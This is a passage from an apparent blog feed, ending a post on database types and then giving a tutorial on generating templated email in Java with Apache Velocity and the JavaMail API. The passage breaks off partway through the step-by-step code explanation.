operational systems that operate on a single big entity, or systems that
don’t require transactional integrity across entities. Typically,
MongoDB and Couchbase are typically the leaders in this sector.&lt;/p&gt;
&lt;h3 id="graph-databases"&gt;Graph Databases&lt;/h3&gt;
&lt;p&gt;Social networks and recommendation systems are classic use cases for
graph databases, but there are a few different types of graph databases.
Some of them are custom made for operational purposes (Neo4j) while
others are aimed more at analytics (Apache Giraph).&lt;/p&gt;
&lt;p&gt;Using the above descriptions and also based on availability or
support within our organization, the following database types were
determined.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Database&lt;/th&gt;
&lt;th&gt;Storage for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Oracle&lt;/td&gt;
&lt;td&gt;Partition scheme. Store Live data.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cassandra&lt;/td&gt;
&lt;td&gt;Heavy writes for Async metadata&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cassandra&lt;/td&gt;
&lt;td&gt;Heavy writes for Audit log&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="Software-Engineering"/><category term="backend"/><category term="services"/><category term="database"/><category term="architecture"/></entry><entry><title>Java Mail Made Easy using Velocity Templates</title><link href="https://sengopal.me/posts/java-mail-made-easy-using-velocity-templates" rel="alternate"/><published>2010-10-01T00:00:00-07:00</published><updated>2010-10-01T00:00:00-07:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2010-10-01:/posts/java-mail-made-easy-using-velocity-templates</id><summary type="html">For an emailing solution we used velocity templates for simpler generation of Java mail templates and data. This post explains the code and the setup to get this in simple steps.</summary><content type="html">&lt;h3 id="introduction-to-velocity"&gt;Introduction to Velocity&lt;/h3&gt;
&lt;p&gt;Velocity is an open source templating tool developed by an
international volunteer community and hosted by the Apache Software
Foundation’s Jakarta Project. You can download the freely available
source code at the &lt;a href="http://www.javaworld.com/javaworld/jw-12-2001/jw-1228-velocity.html#resources"&gt;Jakarta
Velocity&lt;/a&gt; Project Website.&lt;/p&gt;
&lt;h3 id="simple-velocity-template-example"&gt;Simple Velocity Template
Example&lt;/h3&gt;
&lt;p&gt;Any application using Velocity requires two parts. The first is the
template&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Helloworld.vm&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  Hello $name!  Welcome to Velocity!&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;HelloWorld.java:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="sourceCode" id="cb2"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb2-1"&gt;&lt;a aria-hidden="true" href="#cb2-1" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;java&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;io&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;StringWriter&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-2"&gt;&lt;a aria-hidden="true" href="#cb2-2" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;apache&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;velocity&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;Template&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-3"&gt;&lt;a aria-hidden="true" href="#cb2-3" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;apache&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;velocity&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;VelocityContext&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-4"&gt;&lt;a aria-hidden="true" href="#cb2-4" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;apache&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;velocity&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;app&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;Velocity&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-5"&gt;&lt;a aria-hidden="true" href="#cb2-5" tabindex="-1"&gt;&lt;/a&gt;      &lt;/span&gt;
&lt;span id="cb2-6"&gt;&lt;a aria-hidden="true" href="#cb2-6" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="kw"&gt;class&lt;/span&gt; HelloWorld&lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-7"&gt;&lt;a aria-hidden="true" href="#cb2-7" tabindex="-1"&gt;&lt;/a&gt;          &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="dt"&gt;static&lt;/span&gt; &lt;span class="dt"&gt;void&lt;/span&gt; &lt;span class="fu"&gt;main&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="bu"&gt;String&lt;/span&gt;&lt;span class="op"&gt;[]&lt;/span&gt; args &lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="kw"&gt;throws&lt;/span&gt; &lt;span class="bu"&gt;Exception&lt;/span&gt; &lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-8"&gt;&lt;a aria-hidden="true" href="#cb2-8" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="co"&gt;/*  Get the Template  */&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-9"&gt;&lt;a aria-hidden="true" href="#cb2-9" tabindex="-1"&gt;&lt;/a&gt;              Template t &lt;span class="op"&gt;=&lt;/span&gt; Velocity&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getTemplate&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Helloworld.vm"&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-10"&gt;&lt;a aria-hidden="true" href="#cb2-10" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="co"&gt;/*  create a context and add data */&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-11"&gt;&lt;a aria-hidden="true" href="#cb2-11" tabindex="-1"&gt;&lt;/a&gt;              VelocityContext context &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;VelocityContext&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-12"&gt;&lt;a aria-hidden="true" href="#cb2-12" tabindex="-1"&gt;&lt;/a&gt;              context&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;put&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"name"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="st"&gt;"World"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-13"&gt;&lt;a aria-hidden="true" href="#cb2-13" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="co"&gt;/* now render the template into a StringWriter */&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-14"&gt;&lt;a aria-hidden="true" href="#cb2-14" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="bu"&gt;StringWriter&lt;/span&gt; writer &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;StringWriter&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-15"&gt;&lt;a aria-hidden="true" href="#cb2-15" tabindex="-1"&gt;&lt;/a&gt;              t&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;merge&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; context&lt;span class="op"&gt;,&lt;/span&gt; writer &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-16"&gt;&lt;a aria-hidden="true" href="#cb2-16" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="co"&gt;/* show the World */&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-17"&gt;&lt;a aria-hidden="true" href="#cb2-17" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="bu"&gt;System&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;out&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;println&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; writer&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;toString&lt;/span&gt;&lt;span class="op"&gt;()&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-18"&gt;&lt;a aria-hidden="true" href="#cb2-18" tabindex="-1"&gt;&lt;/a&gt;          &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-19"&gt;&lt;a aria-hidden="true" href="#cb2-19" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Output&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  Hello World!  Welcome to Velocity!&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="introduction-to-java-mail-api"&gt;Introduction to JAVA MAIL
API&lt;/h3&gt;
&lt;p&gt;The Java Mail API provides the capability to develop email clients
and mail-enabled Java applications. It supports the creation of
sophisticated user interfaces for mail clients. It includes appropriate
convenience classes, which encapsulate common mail functions and
protocols. It fits with other packages for the Java platform in order to
facilitate its use with other Java APIs. It provides a mail and
messaging framework addition to the Java platform.&lt;/p&gt;
&lt;p&gt;Although the Java Mail API contains many more classes than those
discussed here, concentrating on some of the core classes to start with
makes it easy to understand the essence of the API. The following is a
brief description of the core classes:&lt;/p&gt;
&lt;h4 id="javax.mail.session"&gt;javax.mail.Session&lt;/h4&gt;
&lt;p&gt;The javax.mail.Session class is the top-level entry class for the
Java Mail API, and its most commonly used methods provide the ability to
control and load the classes that represent the service provider
implementations (SPI) for various mail protocols (Note: A service
provider is a developer and/or vendor that provides an implementation
for an API; examples of Java Mail API implementations include POP3,
SMTP, and IMAP4 – some are available from Sun, others via third
parties.)&lt;/p&gt;
&lt;h4 id="javax.mail.transport"&gt;javax.mail.Transport&lt;/h4&gt;
&lt;p&gt;The javax.mail.Transport class is another provider-implemented class
and is used for sending a message over a specific protocol.&lt;/p&gt;
&lt;h4 id="javax.mail.message"&gt;javax.mail.Message&lt;/h4&gt;
&lt;p&gt;The javax.mail.Message class is implemented by a provider and models
all the details of an actual e-mail message, such as the subject line,
sender/recipient e-mail address, sent date, and so on. The guidelines
for providers who implement the javax.mail.Message dictate that the
actual fetching of e-mail message components should be delayed as long
as possible in order to make this class as lightweight as possible.&lt;/p&gt;
&lt;h4 id="simple-java-mail-example"&gt;Simple JAVA Mail Example&lt;/h4&gt;
&lt;div class="sourceCode" id="cb4"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb4-1"&gt;&lt;a aria-hidden="true" href="#cb4-1" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;java&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;beans&lt;/span&gt;&lt;span class="op"&gt;.*;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-2"&gt;&lt;a aria-hidden="true" href="#cb4-2" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;javax&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;mail&lt;/span&gt;&lt;span class="op"&gt;.*;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-3"&gt;&lt;a aria-hidden="true" href="#cb4-3" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;javax&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;mail&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;internet&lt;/span&gt;&lt;span class="op"&gt;.*;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-4"&gt;&lt;a aria-hidden="true" href="#cb4-4" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;java&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;io&lt;/span&gt;&lt;span class="op"&gt;.*;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-5"&gt;&lt;a aria-hidden="true" href="#cb4-5" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;java&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;util&lt;/span&gt;&lt;span class="op"&gt;.*;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-6"&gt;&lt;a aria-hidden="true" href="#cb4-6" tabindex="-1"&gt;&lt;/a&gt;       &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="kw"&gt;class&lt;/span&gt; MailBean &lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-7"&gt;&lt;a aria-hidden="true" href="#cb4-7" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="fu"&gt;MailBean&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="bu"&gt;String&lt;/span&gt; from&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="bu"&gt;String&lt;/span&gt; userName&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="bu"&gt;String&lt;/span&gt; subject&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="bu"&gt;String&lt;/span&gt; content&lt;span class="op"&gt;){&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-8"&gt;&lt;a aria-hidden="true" href="#cb4-8" tabindex="-1"&gt;&lt;/a&gt;               &lt;span class="cf"&gt;try&lt;/span&gt;&lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-9"&gt;&lt;a aria-hidden="true" href="#cb4-9" tabindex="-1"&gt;&lt;/a&gt;                  &lt;span class="fu"&gt;mail&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;from&lt;span class="op"&gt;,&lt;/span&gt; userName&lt;span class="op"&gt;,&lt;/span&gt; subject&lt;span class="op"&gt;,&lt;/span&gt; content&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-10"&gt;&lt;a aria-hidden="true" href="#cb4-10" tabindex="-1"&gt;&lt;/a&gt;               &lt;span class="op"&gt;}&lt;/span&gt;&lt;span class="cf"&gt;catch&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;MessagingException e&lt;span class="op"&gt;)&lt;/span&gt;  &lt;span class="op"&gt;{}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-11"&gt;&lt;a aria-hidden="true" href="#cb4-11" tabindex="-1"&gt;&lt;/a&gt;             &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-12"&gt;&lt;a aria-hidden="true" href="#cb4-12" tabindex="-1"&gt;&lt;/a&gt;             &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="bu"&gt;String&lt;/span&gt; &lt;span class="fu"&gt;getBenaInfo&lt;/span&gt;&lt;span class="op"&gt;(){&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-13"&gt;&lt;a aria-hidden="true" href="#cb4-13" tabindex="-1"&gt;&lt;/a&gt;                  &lt;span class="cf"&gt;return&lt;/span&gt; &lt;span class="st"&gt;"A Bean that sends mail"&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-14"&gt;&lt;a aria-hidden="true" href="#cb4-14" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-15"&gt;&lt;a aria-hidden="true" href="#cb4-15" tabindex="-1"&gt;&lt;/a&gt;           &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="dt"&gt;void&lt;/span&gt; &lt;span class="fu"&gt;mail&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="bu"&gt;String&lt;/span&gt; from&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="bu"&gt;String&lt;/span&gt; userName&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="bu"&gt;String&lt;/span&gt; subject&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="bu"&gt;String&lt;/span&gt; content&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="kw"&gt;throws&lt;/span&gt; MessagingException&lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-16"&gt;&lt;a aria-hidden="true" href="#cb4-16" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="bu"&gt;String&lt;/span&gt; smtpHost &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="st"&gt;"00.00.00.00"&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-17"&gt;&lt;a aria-hidden="true" href="#cb4-17" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="co"&gt;//start a session&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-18"&gt;&lt;a aria-hidden="true" href="#cb4-18" tabindex="-1"&gt;&lt;/a&gt;              java&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;util&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;Properties&lt;/span&gt; properties &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="bu"&gt;System&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getProperties&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-19"&gt;&lt;a aria-hidden="true" href="#cb4-19" tabindex="-1"&gt;&lt;/a&gt;              properties&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;put&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"mail.smtp.host"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;smtpHost&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-20"&gt;&lt;a aria-hidden="true" href="#cb4-20" tabindex="-1"&gt;&lt;/a&gt;              Session session &lt;span class="op"&gt;=&lt;/span&gt; Session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getInstance&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;properties&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="kw"&gt;null&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-21"&gt;&lt;a aria-hidden="true" href="#cb4-21" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb4-22"&gt;&lt;a aria-hidden="true" href="#cb4-22" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="co"&gt;//Construct a message object&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-23"&gt;&lt;a aria-hidden="true" href="#cb4-23" tabindex="-1"&gt;&lt;/a&gt;              MimeMessage message &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;MimeMessage&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;session&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-24"&gt;&lt;a aria-hidden="true" href="#cb4-24" tabindex="-1"&gt;&lt;/a&gt;              message&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setFrom&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;InternetAddress&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;from&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-25"&gt;&lt;a aria-hidden="true" href="#cb4-25" tabindex="-1"&gt;&lt;/a&gt;              message&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;addRecipient&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Message&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;RecipientType&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;TO&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;InternetAddress&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;userName&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-26"&gt;&lt;a aria-hidden="true" href="#cb4-26" tabindex="-1"&gt;&lt;/a&gt;              message&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setSubject&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;subject&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-27"&gt;&lt;a aria-hidden="true" href="#cb4-27" tabindex="-1"&gt;&lt;/a&gt;              message&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setText&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;content&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-28"&gt;&lt;a aria-hidden="true" href="#cb4-28" tabindex="-1"&gt;&lt;/a&gt;              message&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setSentDate&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="kw"&gt;new&lt;/span&gt; java&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;util&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;Date&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-29"&gt;&lt;a aria-hidden="true" href="#cb4-29" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb4-30"&gt;&lt;a aria-hidden="true" href="#cb4-30" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="co"&gt;//connect to transport&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-31"&gt;&lt;a aria-hidden="true" href="#cb4-31" tabindex="-1"&gt;&lt;/a&gt;              Transport transport &lt;span class="op"&gt;=&lt;/span&gt; session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getTransport&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"smtp"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-32"&gt;&lt;a aria-hidden="true" href="#cb4-32" tabindex="-1"&gt;&lt;/a&gt;              transport&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;connect&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;smtpHost&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="st"&gt;""&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="st"&gt;""&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-33"&gt;&lt;a aria-hidden="true" href="#cb4-33" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb4-34"&gt;&lt;a aria-hidden="true" href="#cb4-34" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="co"&gt;//send the message and close the connection&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-35"&gt;&lt;a aria-hidden="true" href="#cb4-35" tabindex="-1"&gt;&lt;/a&gt;              transport&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;sendMessage&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;message&lt;span class="op"&gt;,&lt;/span&gt;message&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getAllRecipients&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-36"&gt;&lt;a aria-hidden="true" href="#cb4-36" tabindex="-1"&gt;&lt;/a&gt;              transport&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;close&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-37"&gt;&lt;a aria-hidden="true" href="#cb4-37" tabindex="-1"&gt;&lt;/a&gt;           &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-38"&gt;&lt;a aria-hidden="true" href="#cb4-38" tabindex="-1"&gt;&lt;/a&gt;       &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As there are a lot of tutorials available for Velocity and Java Mail,
this tutorial deals only with the integration of Velocity for easier and
more customized mailing abilities.&lt;/p&gt;
&lt;h3 id="project-usage"&gt;Project Usage&lt;/h3&gt;
&lt;p&gt;Our Project required nearly fifty different mail formats to be sent
on various stages of the application. The difficult part being that the
templates contained loads of dynamic data. Also these templates were
being updated on a regular basis making it more difficult for developing
the application.&lt;/p&gt;
&lt;p&gt;We used Velocity Templates for storing the design and the layout of
the mail which needs to be sent and used them for integrating the
dynamic attributes into the layout and hence providing a seamless
abstraction between the presentation and the business layer.&lt;/p&gt;
&lt;h2 id="step-by-step-explanation-of-the-code"&gt;Step-by-Step Explanation
of the Code&lt;/h2&gt;
&lt;h3 id="sendmessage.java"&gt;SendMessage.java&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Velocity Template Merging&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The best practice for storing the non-variables such as the SMTP
connect parameters, the template names etc., either in a properties file
or in a constants interface. In this example, a properties file, “mail.
properties” has been used. Using the ClassLoader the properties file is
loaded&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb5"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb5-1"&gt;&lt;a aria-hidden="true" href="#cb5-1" tabindex="-1"&gt;&lt;/a&gt;          &lt;span class="bu"&gt;Properties&lt;/span&gt; props &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Properties&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-2"&gt;&lt;a aria-hidden="true" href="#cb5-2" tabindex="-1"&gt;&lt;/a&gt;          props&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;load&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;SendMessage&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getClassLoader&lt;/span&gt;&lt;span class="op"&gt;().&lt;/span&gt;&lt;span class="fu"&gt;getResourceAsStream&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"mail.properties"&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;The Mail.vm template is loaded from into the Velocity context using
the static method Velocity.getTemplate&lt;/li&gt;
&lt;/ul&gt;
